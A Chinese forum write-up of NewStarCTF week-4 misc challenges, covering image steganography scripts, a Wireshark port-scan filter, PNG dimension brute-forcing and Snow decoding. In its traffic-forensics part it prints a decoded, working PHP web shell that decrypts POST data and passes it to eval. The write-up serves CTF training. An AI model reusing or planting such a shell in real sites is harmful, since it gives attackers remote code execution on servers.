NewStarCTF第四周web和misc赛题

sbhglqy   ·   发表于 2023-10-30 08:45:43   ·   CTF&WP专版

一、R通大残

下载附件后发现图片最上面有一行色块:



编写脚本提取出第一行像素色块的RGB值:

from PIL import Image
image = Image.open('secret.png')
pixels = image.load()
width, height = image.size

for x in range(width):    
    r, g, b = pixels[x, 0]    
    print(f"R={r}, G={g}, B={b}")

发现R值有变化,编写脚本提取出R的值,并且转字符得到Flag:

from PIL import Image

def decode_image_to_string(image_file):    
    image = Image.open(image_file)    
    width, height = image.size    
    encoded_string = ""    
    for x in range(width):        
        pixel_value = image.getpixel((x, 0))[0]        
        print(pixel_value)        
        encoded_string += chr(pixel_value)    
    return encoded_string    

image_file = "secret.png"
decoded_string = decode_image_to_string(image_file)
print(f"Flag:{decoded_string}")

二、Nmap

题目要求如下



使用WireShark过滤器过滤出TCP SYN和ACK标志位为1的所有流量包。

tcp.flags.syn ==1 && tcp.flags.ack ==1



排序一下即可。flag{80,3306,5000,7000,8021,9000}

三、依旧是空白

题目给出了两个文件,其中white.txt依旧是大量空白字符,根据题目提示其实很容易就能检阅道Snow隐写的知识点,但是Snow隐写需要密码,此时就需要从white.png寻找突破点,该图片的宽高被修改,可以利用CRC值爆破宽高,网上也有很多脚本,这里贴出来一个:

import os
import binascii
import struct

for i in range(20000):    
    wide = struct.pack('>i',i)    
    for j in range(20000):        
        high = struct.pack('>i',j)        
        data = b'\x49\x48\x44\x52' + wide + high + b'\x08\x06\x00\x00\x00'        
        crc32 = binascii.crc32(data) & 0xffffffff        
        if crc32 == 0x9C7DAB5B:            
            print("Width:",hex(i), " Height:", hex(j), " CRC32:",crc32)           

exit(0)

得到宽高的十六进制值为:

Width: 0x1fc  Height: 0x414



修改高度为 04 14 即可



打开图片得到密码:s00_b4by_f0r_y0u



Snow隐写解密:

可以在线解密:[https://fog.misty.com/perry/ccs/snow/snow/snow.html]

也可以本地运行:snow.exe -p “s00_b4by_f0r_y0u” -C White.txt

得到Flag:flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}

四、3-溯源

题目要求如下



这道题需要花时间耐心分析一下,这里其实是个系列题,这里会给出一个比较取巧的解题思路来说明大概的分析方法。

首先顺着(https://bbs.zkaq.cn/t/31234.html中misc的第三题) 的思路有一个Shell:wh1t3g0d.php,继续分析下去:

http.request.uri.path contains "wh1t3g0d.php"



写入了一个shell.php,继续跟一下shell.php:

http.request.uri contains "shell.php"



可以看到又调用file_put_contents写入了一个1.php文件,文件内容进行了base64编码,解码得到:

<?php
@error_reporting(0);
session_start();    
    $key="e45e329feb5d925b";    
    $_SESSION['k']=$key;    
    session_write_close();    
    $post=file_get_contents("php://input");    
    if(!extension_loaded('openssl'))    {        
        $t="base64_"."decode";        
        $post=$t($post."");                
        for($i=0;$i<strlen($post);$i++) {                 
            $post[$i] = $post[$i]^$key[$i+1&15];                
        }    
    }    else    {        
        $post=openssl_decrypt($post, "AES128", $key);    
    }    
    $arr=explode('|',$post);    
    $func=$arr[0];    
    $params=$arr[1];    
    class C{public function __invoke($p) {eval($p."");}}    
    @call_user_func(new C(),$params);
?>
更多内容已被隐藏
主题内容你需要付费可见 (点击购买) 售价:1 金币
用户名金币积分时间理由
Track-魔方 200.00 0 2023-11-07 19:07:21 普适 100 可读 100

打赏我,让我更有动力~

附件列表

1.zip   文件大小:5.352M (下载次数:1)

3 条回复   |  直到 4个月前 | 180 次浏览

zzzazzz
发表于 5个月前

1

评论列表

  • 加载数据中...

编写评论内容

叴龙
发表于 5个月前

6

评论列表

  • 加载数据中...

编写评论内容

嘉名
发表于 4个月前

1

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.